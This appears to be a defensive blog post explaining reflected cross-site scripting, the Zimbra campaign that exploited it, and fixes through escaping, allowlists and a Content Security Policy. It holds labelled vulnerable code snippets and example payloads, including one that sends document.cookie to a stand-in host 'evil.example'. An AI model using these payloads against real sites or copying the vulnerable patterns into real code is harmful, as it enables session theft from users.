Reflected XSS, explained
The payload lives in the URL, not your database. How an APT used it against NATO webmail, why the browser stopped helping in 2019, and what actually works.
- security
- vibe coding
- engineering
Reflected cross-site scripting is the version where your server takes something
out of the request and writes it straight back into the response. The search
page that says “no results for <term>”. The error page that repeats the
message. The 404 that prints the path it could not find.
Nothing is saved. The payload exists only in the URL, and it only runs for someone who follows that URL. That property is why reflected XSS gets treated as the mild one, and it is the wrong conclusion to draw, because “requires a click” is not a defense against people whose entire profession is getting a click.
Same identifier as its stored sibling, CWE-79, same OWASP category, A03:2021 Injection, different delivery.
Someone solved the delivery problem
In March 2023 Proofpoint published an analysis of TA473, also tracked as Winter Vivern, exploiting CVE-2022-27926 against webmail portals belonging to NATO-aligned governments in Europe.
CVE-2022-27926 is one sentence long: a reflected XSS in the
/public/launchNewWindow.jsp component of Zimbra Collaboration 9.0, reachable
by unauthenticated attackers through request parameters. That is the entire
vulnerability. No memory corruption, no chain, no zero day. It had been patched
in April 2022.
The operation around it is what matters:
- Scan the internet for unpatched Zimbra portals belonging to interesting organizations.
- Send a phishing email to a person at one of them, containing a link to their own webmail portal, on their own domain, which is exactly where a webmail link is supposed to point.
- The link carries the payload in a parameter. The JavaScript runs on the portal’s origin, in the victim’s authenticated session, and lifts usernames, passwords and tokens.
The reason “it needs a click” fails as a mitigation is visible in step two. The link is to the real host. There is no lookalike domain to notice, no TLS warning, no unfamiliar login page. Every piece of advice a security awareness training gives an employee says this link is the safe kind.
And it is not a legacy problem. Palo Alto Networks published CVE-2025-0133 for a reflected XSS in the GlobalProtect gateway and portal, with the same shape: a crafted link executes script in the user’s browser, in the context of a device people log into with corporate credentials.
The browser used to help, and stopped
If you have seen X-XSS-Protection: 1; mode=block in a header checklist, it is
worth knowing what it does today, which is nothing.
Chrome shipped a filter called the XSS Auditor that tried to spot a request parameter appearing verbatim in the response as script, and block the page. Google removed it in Chrome 78, released in October 2019, for two reasons that are both instructive. Bypasses were plentiful, because the filter had to model the parser exactly and the parser is enormous. And the filter itself introduced cross-site information leaks: an attacker could use whether a page got blocked as an oracle about the page’s content.
Firefox never implemented it. Edge removed its own filter. No current browser
gives you protection in exchange for that header, so the only two defensible
values are absent, or X-XSS-Protection: 0 when a legacy checklist insists on
the header. 0 is the value OWASP recommends, and the reason is the leak above:
where an old filter is still active, having it enabled is worse than having it
off.
The shapes that produce it
Reflected XSS is platform-agnostic in a way the RLS failures are not. It depends on how your app renders a parameter, not on who provisioned your database, so the same four shapes turn up in a Bolt.new project and a Replit one alike wherever something of yours renders the response: an Express route, a Next.js page, an Edge Function, a template.
One caveat that decides which post you need. If your app is a pure single page bundle with no server of yours in the path, which is a common generated shape, the parameter is read in the browser and the same bug is a DOM XSS instead. Same payload, same URL, different sink and a different fix.
A template string in a response. Every framework has the same hole in the same place:
// Vulnerable. One parameter, straight into markup.
app.get("/search", (req, res) => {
res.send(`<h1>Results for ${req.query.q}</h1>`);
});
/search?q=<img src=x onerror=fetch('https://evil.example/'+document.cookie)>
and the session is gone, assuming the cookie is readable, which is a separate
mistake worth checking with our
cookie security checker.
An error page that echoes. The most common one in generated code, because the model wrote a friendly error surface:
// Vulnerable. The message came from the query string so the redirect could carry it.
res.status(400).send(`<p class="error">${req.query.message}</p>`);
This is closely related to verbose error messages, and the two usually ship together, because both come from the same instinct to be helpful with whatever the request contained.
A framework escape hatch on a search parameter. React escapes by default, so the vulnerable version has to be written on purpose, and it regularly is, because the feature request was “highlight the search term in the results”:
// Next.js. searchParams is attacker-controlled, and this renders it as markup.
export default function Page({ searchParams }) {
return <p dangerouslySetInnerHTML={{ __html: `Results for <b>${searchParams.q}</b>` }} />;
}
The fix is to keep the value as text and let the component build the markup
around it: <p>Results for <b>{searchParams.q}</b></p>. That is not a
compromise, it is the same rendered output without the parser ever being handed
a user string.
An attribute or a URL. Angle brackets are not required. A value reflected
into href or src gives you javascript: as a payload, and a value reflected
into a <script> block gives you a JavaScript string context where HTML
escaping does nothing:
<!-- Vulnerable even with HTML entities applied to userName -->
<script>const user = "{{ userName }}";</script>
A ";alert(1);// closes the string and continues in code. Data that has to
reach JavaScript should be serialized as JSON into a data attribute or a
<script type="application/json"> block and read from there, never
interpolated into executable source.
Fixing it
Escape at the point of output, by context. Frameworks that autoescape do
this correctly for the HTML body case. Your job is to stop reaching past them,
which means treating every dangerouslySetInnerHTML, v-html,
{{{ triple-brace }}}, | safe and res.send of a template literal as a line
that needs a reason.
Validate the parameter’s shape, when it has one. A reflected value that is supposed to be a page number, a sort order, or an id has a definition, and a definition rejects payloads for free:
const SORT = new Set(["newest", "oldest", "popular"]);
const sort = SORT.has(req.query.sort) ? req.query.sort : "newest";
This is not a general XSS defense, and it is the right first move on every parameter that is a choice rather than prose. An allowlist of three strings cannot be bypassed by an encoding trick, because nothing is being decoded.
Ship a Content Security Policy without 'unsafe-inline'. This is the
control that survives your own mistakes, because it does not care whether a
reflection got escaped correctly. Injected inline script simply does not
execute:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{per-response}'; object-src 'none'; base-uri 'none'
base-uri 'none' is in there for a specific reason: without it, an injected
<base href="https://evil.example/"> redirects every relative script URL on the
page, which turns a markup injection back into script execution even under a
script-src 'self' policy.
Our free scanner grades this as four separate checks, no-csp,
csp-unsafe-inline, csp-unsafe-eval and csp-wildcard, and the split is the
point. A policy that keeps 'unsafe-inline' in script-src passes the first
check and fails the one that decides whether reflected XSS is stopped. You can
see what your own site sends with the
CSP validator.
Where it hides after the search page
- The 404 handler, if it prints the requested path.
- Redirect targets, where the value is reflected into a
<meta refresh>or an anchor. That is one step from open redirect, and the two chain: an open redirect on a trusted domain makes the phishing link in the Zimbra campaign look even better. - JSON endpoints served as
text/html. A response that echoes input and omitsContent-Type: application/jsonplusX-Content-Type-Options: nosniffcan be sniffed into HTML by the browser and rendered. - File upload and download names, reflected into a page that lists them.
- Anything the login flow carries:
?error=,?next=,?email=. These are reflected on the one page where a fake login form is most convincing. The payoff is the same one the Roundcube attackers took in stored XSS, a counterfeit login form inside the real interface, reached here through a link instead of through a saved message.
The test
Put a payload in every parameter of every page and watch what comes back. The payload does not need to be exotic:
curl -s "https://example.com/search?q=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" | grep -o "<img src=x[^>]*>"
If your input comes back as markup rather than as <img, you have it. Do the
same for the attribute case with " autofocus onfocus=alert(1) x=" and for the
URL case with javascript:alert(1), because a fix for one of the three contexts
routinely leaves the other two open.
Then read the checks that a scanner runs against a deployed URL as what they are: evidence about the layer the browser enforces, not about your code. Static analysis finds the reflection, a header check finds the missing policy, and neither of them tells you whether the two combine into an exploit. That is why the release decision reads code and running app as separate layers rather than averaging them into one number.
Why the mild one is not mild
The reason reflected XSS keeps appearing in state-sponsored campaigns rather than only in bug bounty reports is that it is the cheapest way to get code running on a domain the target trusts. Everything else the attacker wants, session theft, a fake login form, an API call as the user, follows from that one property, and none of it requires persistence anywhere in your system.
A payload that lives in a link is not a smaller problem than one that lives in your database. It is the same problem with a different distribution channel, and somebody else runs that channel very well.